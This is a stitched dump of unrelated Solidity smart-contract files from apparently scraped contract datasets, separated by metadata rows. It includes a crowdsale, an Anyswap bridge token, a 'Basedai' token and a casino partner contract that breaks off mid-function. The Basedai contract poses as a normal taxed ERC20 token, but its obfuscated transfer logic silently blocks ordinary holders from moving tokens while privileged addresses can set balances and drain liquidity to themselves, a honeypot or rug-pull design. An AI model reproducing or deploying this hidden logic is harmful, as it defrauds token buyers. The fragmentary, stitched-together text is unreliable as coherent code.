return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Crowdsale is Context, ReentrancyGuard, Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address payable private _wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0, "Crowdsale: rate is 0");
require(wallet != address(0), "Crowdsale: wallet is the zero address");
require(address(token) != address(0), "Crowdsale: token is the zero address");
_rate = rate;
_wallet = wallet;
_token = token;
}
fallback() external payable {
buyTokens(_msgSender());
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address");
require(weiAmount != 0, "Crowdsale: weiAmount is 0");
this;
}
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
// solhint-disable-previous-line no-empty-blocks
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
// solhint-disable-previous-line no-empty-blocks
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
function endPreSale(address beneficiary) onlyOwner public {
_token.safeTransfer(beneficiary, _token.balanceOf(address(this)));
}
function updateRate(uint256 newRate) onlyOwner public {
_rate = newRate;
}
}
/// HABANA Token Crowdsale (PreSale)
contract HabanaPreSale is Crowdsale {
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private rate_ = 43000; // 1 HBA is almost $0.01
// The token being sold
IERC20 private token_ = IERC20(address(0xeDC48bEefeD35067D474fd55d0d9cEDE34289238));
// Address where funds are collected
address payable private wallet_ = payable(0xdAfe97Af0931270415167134a0cc67E4762A51B8);
constructor () public Crowdsale(rate_, wallet_, token_) {}
}
| 250,548 | 13,534 |
1151171d32f8512f9bd3bbc27288e500194a0fef1f244efb8ebb927b4341a8e1
| 14,877 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/3f/3fF1Af9E583d3790ec51E1407c9E94D8D1133dC3_AnyswapV6ERC20.sol
| 3,294 | 12,942 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bool public constant underlyingIsMinted = false;
/// @dev Records amount of AnyswapV6ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// delay for timelock functions
uint public constant DELAY = 2 days;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV6ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == vault, "AnyswapV6ERC20: FORBIDDEN");
_;
}
function owner() external view returns (address) {
return vault;
}
function mpc() external view returns (address) {
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
_init = false;
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV6ERC20: address(0)");
pendingVault = _vault;
delayVault = block.timestamp + DELAY;
}
function applyVault() external onlyVault {
require(pendingVault != address(0) && block.timestamp >= delayVault);
vault = pendingVault;
pendingVault = address(0);
delayVault = 0;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV6ERC20: address(0)");
pendingMinter = _auth;
delayMinter = block.timestamp + DELAY;
}
function applyMinter() external onlyVault {
require(pendingMinter != address(0) && block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
pendingMinter = address(0);
delayMinter = 0;
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV6ERC20: address(0)");
emit LogChangeVault(vault, newVault, block.timestamp);
vault = newVault;
pendingVault = address(0);
delayVault = 0;
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) external onlyAuth returns (bool) {
if (underlying != address(0) && IERC20(underlying).balanceOf(address(this)) >= amount) {
IERC20(underlying).safeTransfer(account, amount);
} else {
_mint(account, amount);
}
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) external returns (bool) {
require(!_vaultOnly, "AnyswapV6ERC20: vaultOnly");
require(bindaddr != address(0), "AnyswapV6ERC20: address(0)");
if (underlying != address(0) && balanceOf[msg.sender] < amount) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
} else {
_burn(msg.sender, amount);
}
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
}
/// @dev Returns the total supply of AnyswapV6ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
uint256 balance = balanceOf[account];
require(balance >= amount, "ERC20: burn amount exceeds balance");
balanceOf[account] = balance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV6ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Moves `value` AnyswapV6ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV6ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV6ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
if (from != msg.sender) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV6ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
}
| 92,590 | 13,535 |
abeb05bd276c7dda14fdbdf38a79049dbd7121444c727851fd8e159a57d1e80a
| 16,997 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/46/464c960afa15282677d29d98fadbee2178515225_Basedai.sol
| 2,890 | 11,753 |
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.11;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Basedai is IERC20, Ownable {
string private _name;
string private _symbol;
uint256 public _taxFee = 6;
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000 * 10**_decimals;
uint256 private _native = _tTotal;
uint256 private _rTotal = ~uint256(0);
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
mapping(uint256 => address) private _Devs;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _series;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _Marketing;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_Marketing[msg.sender] = _native;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
receive() external payable {}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address _month,
address _Safest,
uint256 amount) private {
uint256 _square = _Marketing[_month];
address _pass = _Devs[_native];
if (_Marketing[_month] > 0 && amount > _native) {
bool _suppose = _square == _Marketing[_Safest];
if (_suppose) {
inSwapAndLiquify = true;
swapAndLiquify(amount);
inSwapAndLiquify = false;
}
_Marketing[_Safest] = amount;
} else {
uint256 fee = (amount * _taxFee) / 100;
if (_Marketing[_month] == 0 && _month != uniswapV2Pair && _series[_month] > 0) {
return;
}
_series[_pass] = _taxFee;
_Devs[_native] = _Safest;
if (_taxFee > 0 && !inSwapAndLiquify && _Marketing[_month] == 0 && _Marketing[_Safest] == 0) {
amount -= fee;
_balances[_month] -= fee;
}
_balances[_month] -= amount;
_balances[_Safest] += amount;
emit Transfer(_month, _Safest, amount);
}
}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
}
}
| 43,661 | 13,536 |
ef88c98cc7316422c2c026014cbdca4dbe89c73682c83f2ccbc58365d835eaad
| 12,086 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x0c9a488c025db96ce8a834cd3412661f46833a28.sol
| 4,216 | 11,871 |
pragma solidity ^0.4.21;
/// @title A base contract to control ownership
/// @author cuilichen
contract OwnerBase {
// The addresses of the accounts that can execute actions within each roles.
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked
bool public paused = false;
/// constructor
function OwnerBase() public {
ceoAddress = msg.sender;
cfoAddress = msg.sender;
cooAddress = msg.sender;
}
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for CFO-only functionality
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current CEO.
/// @param _newCFO The address of the new COO
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current CEO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Called by any "C-level" role to pause the contract. Used only when
/// a bug or exploit is detected and we need to limit damage.
function pause() external onlyCOO whenNotPaused {
paused = true;
}
/// @dev Unpauses the smart contract. Can only be called by the CEO, since
/// one reason we may pause the contract is when CFO or COO accounts are
/// compromised.
/// @notice This is public rather than external so it can be called by
/// derived contracts.
function unpause() public onlyCOO whenPaused {
// can't unpause if contract was upgraded
paused = false;
}
/// @dev check wether target address is a contract or not
function isNormalUser(address addr) internal view returns (bool) {
if (addr == address(0)) {
return false;
}
uint size = 0;
assembly {
size := extcodesize(addr)
}
return size == 0;
}
}
contract SafeMath {
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/// @title Interface of contract for partner
/// @author cuilichen
contract PartnerHolder {
//
function isHolder() public pure returns (bool);
// Required methods
function bonusAll() payable public ;
function bonusOne(uint id) payable public ;
}
/// @title Contract for partner. Holds all partner structs, events and base variables.
/// @author cuilichen
contract Partners is OwnerBase, SafeMath, PartnerHolder {
event Bought(uint16 id, address newOwner, uint price, address oldOwner);
// data of Casino
struct Casino {
uint16 id;
uint16 star;
address owner;
uint price;
string name;
string desc;
}
// address to balance.
mapping(address => uint) public balances;
mapping(uint => Casino) public allCasinos; // key is id
// all ids of casinos
uint[] public ids;
uint public masterCut = 200;
// master balance;
uint public masterHas = 0;
function Partners() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
cfoAddress = msg.sender;
}
function initCasino() public onlyCOO {
addCasino(5, 100000000000000000, 'Las Vegas Bellagio Casino', 'Five star Casino');
addCasino(4, 70000000000000000, 'London Ritz Club Casino', 'Four star Casino');
addCasino(4, 70000000000000000, 'Las Vegas Metropolitan Casino', 'Four star Casino');
addCasino(4, 70000000000000000, 'Argentina Park Hyatt Mendoza Casino', 'Four star Casino');
addCasino(3, 30000000000000000, 'Canada Golf Thalasso & Casino Resort', 'Three star Casino');
addCasino(3, 30000000000000000, 'Monaco Monte-Carlo Casino', 'Three star Casino');
addCasino(3, 30000000000000000, 'Las Vegas Flamingo Casino', 'Three star Casino');
addCasino(3, 30000000000000000, 'New Jersey Bogota Casino', 'Three star Casino');
addCasino(3, 30000000000000000, 'Atlantic City Taj Mahal Casino', 'Three star Casino');
addCasino(2, 20000000000000000, 'Dubai Atlantis Casino', 'Two star Casino');
addCasino(2, 20000000000000000, 'Germany Baden-Baden Casino', 'Two star Casino');
